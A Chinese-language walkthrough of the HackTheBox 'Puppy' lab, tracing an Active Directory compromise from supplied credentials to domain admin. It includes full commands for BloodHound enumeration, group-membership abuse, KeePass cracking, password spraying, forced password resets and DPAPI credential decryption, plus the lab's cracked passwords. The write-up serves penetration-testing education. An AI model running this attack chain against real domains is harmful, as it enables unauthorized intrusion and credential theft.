HTB Puppy渗透测试实战:从初始凭证到域管理员权限提升

本文详细记录了HTB Puppy靶机的完整渗透测试过程,从初始凭证利用开始,通过Bloodhound分析域关系,利用GenericWrite权限访问SMB共享,破解KeePassXC数据库,进行密码喷洒攻击,最终通过DPAPI解密获取管理员权限。

初始侦察

端口扫描

使用nmap进行端口扫描,发现多个开放端口:

1
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.70

关键开放端口包括:

  • 53/tcp - DNS
  • 88/tcp - Kerberos
  • 135/tcp - RPC
  • 139/tcp - NetBIOS
  • 389/tcp - LDAP
  • 445/tcp - SMB
  • 5985/tcp - WinRM

初始凭证

HackTheBox提供初始凭证:

  • 用户名:levi.james
  • 密码:KingofAkron2025!

使用netexec验证凭证有效性:

1
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'

SMB枚举

共享发现

发现DEV共享,但初始无访问权限:

1
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares

Bloodhound分析

数据收集

使用BloodHound.py收集域信息:

1
oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip

权限分析

发现levi.james通过HR组对Developers组具有GenericWrite权限。

权限提升

加入Developers组

利用GenericWrite权限将levi.james加入Developers组:

1
oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb

访问DEV共享

现在可以访问DEV共享并发现KeePassXC数据库:

1
oxdf@hacky$ smbclient -U puppy.htb/levi.james //puppy.htb/dev --password 'KingofAkron2025!'

下载数据库文件:

1
smb: \> get recovery.kdbx

KeePassXC数据库破解

哈希提取

使用john-the-ripper提取哈希:

1
oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash

密码破解

使用rockyou.txt字典破解:

1
oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt

破解出的密码为:“liverpool”

数据库导出

使用KeePassXC CLI导出密码:

1
oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx

导出的密码包括:

  • JamieLove2025!
  • HJKL2025!
  • Antman2025!
  • Steve2025!
  • ILY2025!

密码喷洒攻击

用户枚举

获取域用户列表:

1
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users

密码喷洒

使用netexec进行密码喷洒:

1
oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success

成功验证ant.edwards:Antman2025!

权限提升至Adam.Silver

Bloodhound分析

发现Ant.Edwards通过Senior Devs组对Adam.Silver具有GenericAll权限。

密码重置

重置Adam.Silver密码:

1
oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb

账户启用

Adam.Silver账户被禁用,使用BloodyAD启用:

1
oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE

WinRM访问

使用evil-winrm连接:

1
oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..

获取user.txt标志。

权限提升至Steph.Cooper

文件系统枚举

在C:\Backups目录发现site-backup-2024-12-30.zip:

1
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip

配置文件分析

解压发现nms-auth-config.xml.bak文件,包含Steph.Cooper的密码:“ChefSteph2025!”

WinRM访问

使用新凭证连接:

1
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'

权限提升至管理员

DPAPI凭证发现

在Credential Manager中发现存储的凭证:

1
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force

DPAPI解密

主密钥解密

1
oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'

凭证解密

1
oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

获取steph.cooper_adm密码:“FivethChipOnItsWay2025!”

管理员访问

使用evil-winrm连接管理员账户:

1
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'

获取root.txt标志,完成渗透测试。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计